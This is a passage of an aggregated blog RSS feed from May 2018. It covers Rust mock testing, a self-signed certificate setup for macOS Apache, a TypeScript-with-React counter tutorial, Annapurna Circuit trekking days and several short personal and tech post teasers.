&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then, if you change the code that uses &lt;code&gt;EmailClient&lt;/code&gt;
to expect &lt;code&gt;Box&amp;lt;Emailer&amp;gt;&lt;/code&gt; instead,
you can create all kinds of weird and wonderful
mock email clients in your test modules:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;pub struct EmailMockFailsOnSend;

impl Emailer for EmailMockFailsOnSend {
    fn send_email(&amp;amp;self, message: EmailMessage) -&amp;gt; Result&amp;lt;u64, EmailError&amp;gt; {
        Err(EmailError::new("wibble"))
    }

    fn get_delivery_status(&amp;amp;self, message_id: u64) -&amp;gt; Result&amp;lt;EmailStatus, EmailError&amp;gt; {
        // ...
    }
}

#[test]
fn test_some_behaviour_when_email_send_fails() {
    let result = super::do_something(Box::new(EmailMockFailsOnSend));
    // ...
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The really nice thing about this approach
is that now your mock objects are all strongly-typed too.
If someone changes the &lt;code&gt;Emailer&lt;/code&gt; trait,
they can&amp;rsquo;t forget to update the mock implementations
because the build will fail.
Dynamically-typed languages might make mocking easier,
but they can&amp;rsquo;t offer that guarantee.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;</description><author>Phil Booth's Blog</author><pubDate>Wed, 16 May 2018 13:04:26 GMT</pubDate><guid isPermaLink="true">https://philbooth.me/blog/the-elegance-of-rust/</guid></item><item><title>Set up a Self Signed Certificate on macOS's Built in Apache</title><link>https://donatstudios.com/Self-Signed-Certificate-On-macOS-Apache</link><description>&lt;p&gt;&lt;strong&gt;Update 2019-01-29:&lt;/strong&gt; A much simpler method using a tool called &lt;code&gt;mkcert&lt;/code&gt; has come along and I have an &lt;a href="https://donatstudios.com/Local-Certificate-On-macOS-Apache"&gt;updated walkthrough&lt;/a&gt; you may want to use instead. I would recommend the &lt;code&gt;mkcert&lt;/code&gt; method unless you have a reason you explicitly need a self signed certificate.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;I recently purchased a &lt;code&gt;.app&lt;/code&gt; domain for a side project; &lt;code&gt;.app&lt;/code&gt; domains are interesting as they &lt;strong&gt;require&lt;/strong&gt; SSL at &lt;em&gt;all times&lt;/em&gt;. &lt;/p&gt;
&lt;p&gt;I like to set up my dev environments as subdomains of my actual domain, such as &lt;code&gt;local.donatstudios.com&lt;/code&gt;. It makes working with CORS and cookies a lot simpler for applications with APIs on subdomains.&lt;/p&gt;
&lt;p&gt;Doing this with &lt;code&gt;.app&lt;/code&gt; however means having to get SSL working. I found a number of tutorials of varying quality online, but none of them did the full process from start to finish, particularly solving problems with Chrome 58.&lt;/p&gt;
&lt;p&gt;This tutorial assumes you are using the built in version of Apache that comes with macOS, however you should be able to adjust paths for &lt;code&gt;brew&lt;/code&gt; or otherwise installed versions.&lt;/p&gt;
&lt;h2&gt;Creating the Certificates&lt;/h2&gt;
&lt;p&gt;First off we'll make place to do our work. We need to do this outside of sudo requiring areas due to some bugs with the Apple version of openssl.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-console"&gt;$ mkdir /tmp/crt &amp;amp;&amp;amp; cd /tmp/crt&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next we will generate your key and certificate. Replace all four &lt;code&gt;local.example.com&lt;/code&gt; entries with your full intended development subdomain. &lt;/p&gt;
&lt;p&gt;The &lt;code&gt;subjectAltName=DNS&lt;/code&gt; piece of this is required to get Chrome versions greater than 58 working.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-console"&gt;$ openssl req -newkey rsa:2048 -x509 -nodes \
    -keyout local.example.com.key \
    -new \
    -out local.example.com.crt \
    -subj /CN=local.example.com \
    -reqexts SAN \
    -extensions SAN \
    -config &amp;lt;(cat /System/Library/OpenSSL/openssl.cnf \
        &amp;lt;(printf '[SAN]\nsubjectAltName=DNS:local.example.com')) \
    -sha256 \
    -days 3650&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Apache requires a &lt;code&gt;nopass&lt;/code&gt; key, so to generate this we do the following, again adjusting paths as nessessary:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-console"&gt;$ sudo openssl rsa -in local.example.com.key -out local.example.com.nopass.key&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that we have completed the key generation, we can move our certificates into the apache &lt;code&gt;/etc&lt;/code&gt; directory:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-console"&gt;$ sudo mkdir /etc/apache2/ssl
$ sudo mv *.key *.crt /etc/apache2/ssl&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="apache-configuration"&gt;Apache Configuration&lt;/h2&gt;
&lt;p&gt;In your favorite editor open &lt;code&gt;/etc/apache2/httpd.conf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Uncomment the following lines (line numbers may vary):&lt;/p&gt;
&lt;p&gt;Near line 89:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LoadModule socache_shmcb_module libexec/apache2/mod_socache_shmcb.so&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Near line 144:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LoadModule ssl_module libexec/apache2/mod_ssl.so&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Near line 528:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Include /private/etc/apache2/extra/httpd-ssl.conf&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next open &lt;code&gt;/etc/apache2/extra/httpd-ssl.conf&lt;/code&gt;, find &lt;code&gt;&amp;lt;VirtualHost _default_:443&amp;gt;&lt;/code&gt; around line 121.&lt;/p&gt;
&lt;p&gt;Either &lt;strong&gt;comment out&lt;/strong&gt; using a &lt;code&gt;#&lt;/code&gt; at the start of each line, or &lt;strong&gt;delete&lt;/strong&gt; &lt;em&gt;every single line&lt;/em&gt; between the opening &lt;code&gt;&amp;lt;VirtualHost _default_:443&amp;gt;&lt;/code&gt; and the closing &lt;code&gt;&amp;lt;/VirtualHost&amp;gt;&lt;/code&gt; around line 290.&lt;/p&gt;
&lt;p&gt;Presuming your sites VirtualHost is in &lt;code&gt;/etc/apache2/extra/httpd-vhosts.conf&lt;/code&gt; either change &lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;&lt;/code&gt; to &lt;code&gt;&amp;lt;VirtualHost *:443&amp;gt;&lt;/code&gt;, or duplicate your VirtualHost entry using &lt;code&gt;&amp;lt;VirtualHost *:443&amp;gt;&lt;/code&gt; if you'd like your VirtualHost accessible with and without SSL.&lt;/p&gt;
&lt;p&gt;Next, inside your sites &lt;code&gt;&amp;lt;VirtualHost *:443&amp;gt;&lt;/code&gt; block, append the following, adjusting the filenames accordingly.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  SSLEngine on
  SSLCertificateFile "/private/etc/apache2/ssl/local.example.com.crt"
  SSLCertificateKeyFile "/private/etc/apache2/ssl/local.example.com.nopass.key"&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Chrome / Safari Configuration&lt;/h2&gt;
&lt;p&gt;Next we will open your Apache ssl directory and the &amp;quot;Keychain Access&amp;quot; application:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-console"&gt;$ open /etc/apache2/ssl
$ open /Applications/Utilities/Keychain\ Access.app&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the Keychain Access application, select the &lt;code&gt;login&lt;/code&gt; &lt;em&gt;Keychain&lt;/em&gt; and the &lt;code&gt;Certificates&lt;/code&gt; &lt;em&gt;Category&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Then from the open Finder window, drag and drop your &lt;code&gt;.crt&lt;/code&gt; file.&lt;/p&gt;
&lt;img alt="Keychain Access" src="https://donatstudios.com/assets/65/keychain.png" /&gt;
&lt;p&gt;Double click, and change the settings for the selected certificate to &lt;strong&gt;&amp;quot;Always Trust&amp;quot;&lt;/strong&gt;.&lt;/p&gt;
&lt;img alt="Keychain Access: Trust Level" src="https://donatstudios.com/assets/65/keychain_trust.png" /&gt;
&lt;p&gt;Lastly, repeat the process of dragging and giving access in the &lt;code&gt;System&lt;/code&gt; &lt;em&gt;Keychain&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;You may need to reboot, but your certificate should now work in Chrome and Safari on your local machine.&lt;/p&gt;</description><author>Donat Studios</author><pubDate>Wed, 16 May 2018 05:42:51 GMT</pubDate><guid isPermaLink="true">https://donatstudios.com/Self-Signed-Certificate-On-macOS-Apache</guid></item><item><title>Part One: Using Typescript with React</title><link>https://dylanpaulus.com/posts/2018/using-typescript-with-react-part-one/</link><description>&lt;p&gt;Finished Example: &lt;a href="https://codesandbox.io/s/n3138x65p0?hidenavigation=1"&gt;Click Here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Learning Typescript with React can be challenging, and in my case, cursing Microsoft and throwing &lt;code&gt;any&lt;/code&gt; on every variable. The goal of this series is to document what I've learned while developing applications in React, and trying hard to shove in Typescript. Like many things, the initial learning curve may be staggering, but adding a type-checker repays dividends once the gears start turning. &lt;em&gt;One thing to note:&lt;/em&gt; this isn't a post about setting up Typescript. We'll assume a &lt;strong&gt;tsconfig.json&lt;/strong&gt; exists, and compiles our code to valid JavaScript.&lt;/p&gt;
&lt;p&gt;We'll go through part one by creating a counter, and adding types where needed.&lt;/p&gt;
&lt;h3&gt;App&lt;/h3&gt;
&lt;p&gt;Starting out, we have a scaffolding of our application.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Note, Typescript requires the whole React package to be imported.
// More information can be found: https://stackoverflow.com/a/37491916
import * as React from "react";

class App extends React.Component {
  public render() {
    return (
      &amp;lt;div&amp;gt;
        test
      &amp;lt;/div&amp;gt;
    );
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Looks like a valid React class component, but a few Typescript differences stand out right away. First, because React lib doesn't have a default export, Typescript requires us to import the whole package (&lt;code&gt;import * as React from "react";&lt;/code&gt;). Second, all React methods are defined as &lt;code&gt;public&lt;/code&gt; (&lt;em&gt;private or protected&lt;/em&gt; will not work), as seen in the &lt;strong&gt;render&lt;/strong&gt; method. &lt;em&gt;We can remove the &lt;strong&gt;public&lt;/strong&gt; keyboard, and the component will work the same.&lt;/em&gt; I like to explicitly define scope of my methods to help differentiate between my methods and React's. Generally, I define my methods as &lt;code&gt;private&lt;/code&gt; unless otherwise needed. This enforces the scope of the method to just the component, and prevents unwanted side-effects.&lt;/p&gt;
&lt;h3&gt;State&lt;/h3&gt;
&lt;p&gt;We'll need a way of storing the state of the counter. Let's implement this.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Note, Typescript requires the whole React package to be imported.
// More information can be found: https://stackoverflow.com/a/37491916
import * as React from "react";

interface IState {
  count: number;
}

class App extends React.Component&amp;lt;{}, IState&amp;gt; {
  public readonly state = {
    count: 0
  };

  public render() {
    return (
      &amp;lt;div&amp;gt;
        {this.state.count}
      &amp;lt;/div&amp;gt;
    );
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A lot is happening here, so we'll break it down change-by-change.&lt;/p&gt;
&lt;h5&gt;Interface&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;interface IState {
  count: number;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First, we create a new &lt;a href="https://www.typescriptlang.org/docs/handbook/interfaces.html"&gt;interface&lt;/a&gt; that defines the &lt;em&gt;shape&lt;/em&gt; of our component's state.&lt;/p&gt;
&lt;p&gt;Notice that as a practice we start the interface name with an uppercase &lt;strong&gt;"I"&lt;/strong&gt;. This is borrowed from OOP languages, like C#, to allow us to better identify a variable &lt;em&gt;vs&lt;/em&gt; type &lt;em&gt;vs&lt;/em&gt; interface.&lt;/p&gt;
&lt;p&gt;Another practice I've adopted: define Typescript types in PascalCase, and Javascript variables in camelCase. Yet another helpful naming scheme to prevent trying use a type definition as executable code!&lt;/p&gt;
&lt;p&gt;Moving on, we define our component's state as having one field, count. In Typescript there is no difference between a float &lt;code&gt;0.0001&lt;/code&gt; and an int &lt;code&gt;10&lt;/code&gt;. To say something is 'number-like', we give it the type &lt;code&gt;number&lt;/code&gt;.&lt;/p&gt;
&lt;h5&gt;Class Definition&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;class App extends React.Component&amp;lt;{}, IState&amp;gt; {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;React.Component&lt;/code&gt; (also &lt;code&gt;React.PureComponent&lt;/code&gt;) are generic types allowing us to provide the &lt;em&gt;shape&lt;/em&gt; of the component's props and state. Component comes with a couple predefined properties (&lt;code&gt;children&lt;/code&gt; and &lt;code&gt;ref&lt;/code&gt; to name a few). Because App doesn't have any props, we'll use an empty object. The React Typescript definition combines the type we pass in with the default Component type, so even with an empty object, the inherited component props will still be available (eg. children and ref). For our component's state, we'll tell Typescript we want to use our state shape defined in IState.&lt;/p&gt;
&lt;p&gt;To break it apart:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Define a component with just state: &lt;code&gt;React.Component&amp;lt;{}, IState&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Define a component with just props: &lt;code&gt;React.Component&amp;lt;IProps&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Define both state and props: &lt;code&gt;React.Component&amp;lt;IProps, IState&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Defining State&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;public readonly state = {
  count: 0
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, we define the state for the component. Remember, so far we've only told Typescript what the &lt;em&gt;shape&lt;/em&gt; of our state is. This is where we define its actual value in React. Because state is needed by React, we define it as &lt;code&gt;public&lt;/code&gt;. Also, since we don't want anyone mutating the state directly, we then add &lt;code&gt;readonly&lt;/code&gt;. This will throw a Typescript error whenever we try to reassign state directly to a value (eg. &lt;code&gt;this.state.count = this.state.count + 1; // Error!&lt;/code&gt;). Next, we define our public readonly variable to have the name &lt;em&gt;state&lt;/em&gt;, and assign it an object that matches the shape we defined in &lt;strong&gt;IState&lt;/strong&gt;. Since we defined &lt;code&gt;React.Component&lt;/code&gt; with &lt;strong&gt;IState&lt;/strong&gt; as our state shape, Typescript knows that the state should have a &lt;strong&gt;count&lt;/strong&gt; field with a number value.&lt;/p&gt;
&lt;h3&gt;Adding Events&lt;/h3&gt;
&lt;p&gt;Let's finish our counter by adding some buttons, and a click event that either decrements or increments the count.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Note, Typescript requires the whole React package to be imported.
// More information can be found: https://stackoverflow.com/a/37491916
import * as React from "react";

interface IState {
  count: number;
}

class App extends React.Component&amp;lt;{}, IState&amp;gt; {
  public readonly state = {
    count: 0
  };

  private handleClick = (event: React.MouseEvent&amp;lt;HTMLButtonElement&amp;gt;) =&amp;gt; {
    const type: string = event.currentTarget.title;

    this.setState(({ count }) =&amp;gt; ({
      count: type === "decrement" ? count - 1 : count + 1
    }));
  };

  public render() {
    return (
      &amp;lt;div&amp;gt;
        &amp;lt;button title="decrement" onClick={this.handleClick}&amp;gt;
          -
        &amp;lt;/button&amp;gt;
        {this.state.count}
        &amp;lt;button title="increment" onClick={this.handleClick}&amp;gt;
          +
        &amp;lt;/button&amp;gt;
      &amp;lt;/div&amp;gt;
    );
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The big change is the addition of a new method.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;private handleClick = (event: React.MouseEvent&amp;lt;HTMLButtonElement&amp;gt;) =&amp;gt; {&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;We create a new private method called &lt;code&gt;handleClick&lt;/code&gt; that will take care of our button click events. Notice that since React uses synthetic events--we have to use one of React's types. The event was triggered by a click of the mouse, so we'll use &lt;code&gt;React.MouseEvent&lt;/code&gt;. &lt;strong&gt;React.MouseEvent&lt;/strong&gt; is a generic type that takes the type of element the event is triggered from. In our case, it's the default HTML button element (defined as &lt;code&gt;HTMLButtonElement&lt;/code&gt;). We finish off by incrementing or decrementing the count based on the title of the button.&lt;/p&gt;
&lt;p&gt;Our counter is now complete with TypeScript types!&lt;/p&gt;
&lt;p&gt;&lt;a href="/posts/using-typescript-with-redux-part-two"&gt;To be continued in part two...&lt;/a&gt;&lt;/p&gt;</description><author>Dylan Paulus' Blog</author><pubDate>Wed, 16 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://dylanpaulus.com/posts/2018/using-typescript-with-react-part-one/</guid></item><item><title>Google Dorks: The Powerup for the Search Engine</title><link>https://serhack.me/articles/google-dorks-how-hacking/</link><description>It is estimated that Google has downloaded more pages than any other search engine in the field. With over billions of pages and a relatively &lt;a href="https://serhack.me/articles/measure-execution-time-program/"&gt;low execution time&lt;/a&gt;, the popular Californian search engine is able to satisfy all research, both for educational purposes and for purely curiosity purposes. -&lt;a href="https://serhack.me/articles/google-dorks-how-hacking/"&gt;Continue to read the article on SerHack.me&lt;/a&gt;</description><author>SerHack - Security Researcher</author><pubDate>Wed, 16 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://serhack.me/articles/google-dorks-how-hacking/</guid></item><item><title>Annapurna Circuit - Day 5: Dharapani to Chame</title><link>https://www.wildernessprime.com/expeditions/annapurna-circuit/day-5-chame/</link><description>&lt;h1&gt;Switchbacks and bridges as we pass Qunche and Danakyu towards Chame.&lt;/h1&gt;&lt;div class="box"&gt;
	&lt;span class="image left"&gt;
		&lt;img alt="Michelle" class="image fit" src="https://res.cloudinary.com/wildernessprime/image/upload/w_100,h_100,c_fill,g_auto/v1551473387/about-photo-2.jpg" style="margin-bottom: 0;" /&gt;
	&lt;/span&gt;
	&lt;p&gt;
		I hiked the Annapurna Circuit with Michelle from &lt;a href="https://www.fulltimeexplorer.com/" target="_blank"&gt;Full Time Explorer&lt;/a&gt;. 
		She did a great write-up of our trek which she kindly let me borrow, so what you see below 
		is Michelle's text and my photos. You can find her original article at &lt;a href="https://www.fulltimeexplorer.com/annapurna-circuit-itinerary/" target="_blank"&gt;Annapurna Circuit Itinerary&lt;/a&gt;.
	&lt;/p&gt;
	&lt;div style="clear: both;"&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The day starts out back on the main road with a nice gradual incline. There’s a fork in the road, and we took the one going to the right which goes over a bridge to the other side of the river. From there, there’s a steep switchback followed by a small path on the left with a sign for Chame. This section of the trek goes through beautiful corn fields and farm land. You can also see tons of marijuana plants growing like weeds along the pathway. The path descends back to the river and crosses over a bridge connecting with the main road.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551461818/IMG_2438.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;From there you walk through the villages of Qunche and Danakyu. After you leave the rather large and brightly colored Danakyu, you can follow the main road until you see a path on the left. The path takes you up a steep incline and brings you out right in front of Tamang. We had lunch at the Tibet Lhasa Guest House which had great vegetable egg fried rice and fast WiFi. Tamang is located in a large open valley which has views from all sides. It took us about 3 hours to reach here.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551461896/IMG_2442.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;After lunch, you get back on the main road which has a gentle incline, and follow it towards Chame. There’s a side path on the right with some small hills, but nothing really difficult. The path passes over a bridge and through several small towns and finally comes out in the large village of Thanchowk. You’ll end up back on the main road to Koto. Both towns are nice places to stop for tea. A bit further down the road and along the path to the right you’ll find Chame. It’s a large town with lots of places to buy last minute trekking supplies. We walked all the way to the end of town where there’s a suspension bridge. Just across the bridge and to the right is the New Tibet Hotel which has large rooms, very nice and very hot showers, and decent WiFi.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551462296/IMG_2448.jpg" /&gt;&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Wed, 16 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/annapurna-circuit/day-5-chame/</guid></item><item><title>New Beginnings</title><link>http://blog.pythonaro.com/2018/05/new-beginnings.html</link><description>So, after 7 intense years at Infratects (now Inlumi), it's time for me to move on.&lt;br /&gt;
&lt;br /&gt;
I have a few ideas about what to do next, but nothing set in stone yet. &lt;a href="https://www.linkedin.com/in/glacava/"&gt;My LinkedIn profile&lt;/a&gt; could do with more details, but it's a decent primer for what I do for a living - Hyperion/EPM, Python, Java, Weblogic and thereabout.&lt;br /&gt;
&lt;br /&gt;
I was a web developer in a previous life, so I enjoy hacking and automating everything, getting dirty with infrastructure and the cloud; and in 13 years working on Hyperion products, I've absorbed a pretty good amount of knowledge related to financial processes (consolidation rules, metadata, cube performance and so on) as well as a deep understanding of the innards of the EPM suite. I can tweak your database, hack your Weblogic, integrate your cloud-based authentication, script your exports and migrations, and so on; and if there is something the tools won't do... I'll build you a new tool! That's where I make the difference: at the intersection of technology and Finance, boosting the productivity of accountants. &lt;br /&gt;
&lt;br /&gt;
If this sounds interesting, ping me on &lt;a href="https://www.linkedin.com/in/glacava/"&gt;LinkedIn&lt;/a&gt; and we can have a chat.</description><author>Subclassed</author><pubDate>Wed, 16 May 2018 00:59:15 GMT</pubDate><guid isPermaLink="true">http://blog.pythonaro.com/2018/05/new-beginnings.html</guid></item><item><title>Women, you are not emancipated unless you buy Smart Appliances</title><link>https://stop.zona-m.net/2018/05/women-you-are-not-emancipated-unless-you-buy-smart-appliances/</link><description>&lt;p&gt;And you all knew this SIXTY YEARS AGO, as this picture proves beyond any reasonable doubt:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 15 May 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/05/women-you-are-not-emancipated-unless-you-buy-smart-appliances/</guid></item><item><title>A personal link to 'The Mother Of All Demos'</title><link>https://ilearnt.com/blog/motherofalldemos/</link><description>&lt;p&gt;There is a video of a demonstration given by Doug Engelbart in 1968 which is commonly referred to as &amp;ldquo;The Mother Of All Demos&amp;rdquo;. In the demo, he demonstrates a lot of technologies for the first time together that are common place today and some which we haven&amp;rsquo;t even achieved properly now:&lt;/p&gt;</description><author>I Learnt</author><pubDate>Tue, 15 May 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/motherofalldemos/</guid></item><item><title>Annapurna Circuit - Day 4: Chamje to Dharapani</title><link>https://www.wildernessprime.com/expeditions/annapurna-circuit/day-4-dharapani/</link><description>&lt;h1&gt;Our first day hiking completely off the road, all the way to Dharapani.&lt;/h1&gt;&lt;div class="box"&gt;
	&lt;span class="image left"&gt;
		&lt;img alt="Michelle" class="image fit" src="https://res.cloudinary.com/wildernessprime/image/upload/w_100,h_100,c_fill,g_auto/v1551473387/about-photo-2.jpg" style="margin-bottom: 0;" /&gt;
	&lt;/span&gt;
	&lt;p&gt;
		I hiked the Annapurna Circuit with Michelle from &lt;a href="https://www.fulltimeexplorer.com/" target="_blank"&gt;Full Time Explorer&lt;/a&gt;. 
		She did a great write-up of our trek which she kindly let me borrow, so what you see below 
		is Michelle's text and my photos. You can find her original article at &lt;a href="https://www.fulltimeexplorer.com/annapurna-circuit-itinerary/" target="_blank"&gt;Annapurna Circuit Itinerary&lt;/a&gt;.
	&lt;/p&gt;
	&lt;div style="clear: both;"&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551461056/IMG_2423%20%282%29.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;This is the first day completely off the main road. The walk to Tal is mostly uphill and some sections are a bit steep, making it a long morning. The pathway there goes through beautiful bamboo forests and cliffs covered in lush ferns. The endangered red panda is known to live in the area. Tal is a gorgeous town set between a river and a waterfall in a wide open valley. When we arrive, we walk to the end of town and stop at the Paradise Hotel &amp;amp; Restaurant for tea and the WiFi works great. It looks like it’s going to rain so we decide to get as close to Dharapani as we can before lunch.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551460744/IMG_2390.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;The walk to Karte isn’t as steep and the weather clears up, so we stop for lunch at 3 Sisters Hotel and Restaurant. The food is good and gives us the energy to walk the remaining 30 minutes to Dharapani. Karte looks like a decent place to buy some toiletries and snacks that might not be available in Dharapani. The end of the route is easy and goes by quickly. We decide to stay at the Hayath Guest House which has gas showers, okay WiFi, and large rooms.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551461678/IMG_2435.jpg" /&gt;&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Tue, 15 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/annapurna-circuit/day-4-dharapani/</guid></item><item><title>Working from home boosts productivity</title><link>https://ilearnt.com/blog/workingfromhomeboost/</link><description>&lt;p&gt;I am fortunate with my current role that I am able to work 2-3 days per week from home. This saves me about 2.5 hours of commuting time per day as well as about £2000 per year.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Mon, 14 May 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/workingfromhomeboost/</guid></item><item><title>Annapurna Circuit - Day 3: Bahundana to Chamje</title><link>https://www.wildernessprime.com/expeditions/annapurna-circuit/day-3-chamje/</link><description>&lt;h1&gt;Fabulous Dal Baht and confusing side treks as we continue towards Chamje.&lt;/h1&gt;&lt;div class="box"&gt;
	&lt;span class="image left"&gt;
		&lt;img alt="Michelle" class="image fit" src="https://res.cloudinary.com/wildernessprime/image/upload/w_100,h_100,c_fill,g_auto/v1551473387/about-photo-2.jpg" style="margin-bottom: 0;" /&gt;
	&lt;/span&gt;
	&lt;p&gt;
		I hiked the Annapurna Circuit with Michelle from &lt;a href="https://www.fulltimeexplorer.com/" target="_blank"&gt;Full Time Explorer&lt;/a&gt;. 
		She did a great write-up of our trek which she kindly let me borrow, so what you see below 
		is Michelle's text and my photos. You can find her original article at &lt;a href="https://www.fulltimeexplorer.com/annapurna-circuit-itinerary/" target="_blank"&gt;Annapurna Circuit Itinerary&lt;/a&gt;.
	&lt;/p&gt;
	&lt;div style="clear: both;"&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The trek from Bahundana to Chamje starts off rather easy. There are some markers on the road to follow some side trails, but they lead out of the way and straight uphill. They don’t bypass anything and they don’t offer a view. These side routes end up adding almost an hour to our walk, and we end up hiking for 6 hours.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551460378/IMG_2408.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;There’s a gradual but very long uphill switchback on the road. It took about a half hour for us to complete it, and by the end, I felt exhausted, mostly from carrying my pack. We got hit with insanely hot weather and no matter how much water I drank; it didn’t seem to be enough. We grabbed lunch in Syange. Our original plan was to try to walk to Tal, but it seems too far, so we stop at Chamje for the night and stay at the Potala Hotel. The shower is hot, there’s a flushing toilet, and for dinner we have the best dal baht I’ve ever had while trekking.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551460890/IMG_2432.jpg" /&gt;&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Mon, 14 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/annapurna-circuit/day-3-chamje/</guid></item><item><title>The cultural danger inside voice recognition by artificial intelligence</title><link>https://stop.zona-m.net/2018/05/the-cultural-danger-inside-voice-recognition-by-artificial-intelligence/</link><description>&lt;p&gt;Flaws in voice recognition software like Siri may be causing more road accidents. In the long run, however, such systems will also cause, or increase, something else&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 13 May 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/05/the-cultural-danger-inside-voice-recognition-by-artificial-intelligence/</guid></item><item><title>Annapurna Circuit - Day 2: Bhulbhule to Bahundanda</title><link>https://www.wildernessprime.com/expeditions/annapurna-circuit/day-2-bahundanda/</link><description>&lt;h1&gt;After a late start to avoid the rain, we again take the easier path and don't regret it.&lt;/h1&gt;&lt;div class="box"&gt;
	&lt;span class="image left"&gt;
		&lt;img alt="Michelle" class="image fit" src="https://res.cloudinary.com/wildernessprime/image/upload/w_100,h_100,c_fill,g_auto/v1551473387/about-photo-2.jpg" style="margin-bottom: 0;" /&gt;
	&lt;/span&gt;
	&lt;p&gt;
		I hiked the Annapurna Circuit with Michelle from &lt;a href="https://www.fulltimeexplorer.com/" target="_blank"&gt;Full Time Explorer&lt;/a&gt;. 
		She did a great write-up of our trek which she kindly let me borrow, so what you see below 
		is Michelle's text and my photos. You can find her original article at &lt;a href="https://www.fulltimeexplorer.com/annapurna-circuit-itinerary/" target="_blank"&gt;Annapurna Circuit Itinerary&lt;/a&gt;.
	&lt;/p&gt;
	&lt;div style="clear: both;"&gt;&lt;/div&gt;
&lt;/div&gt;
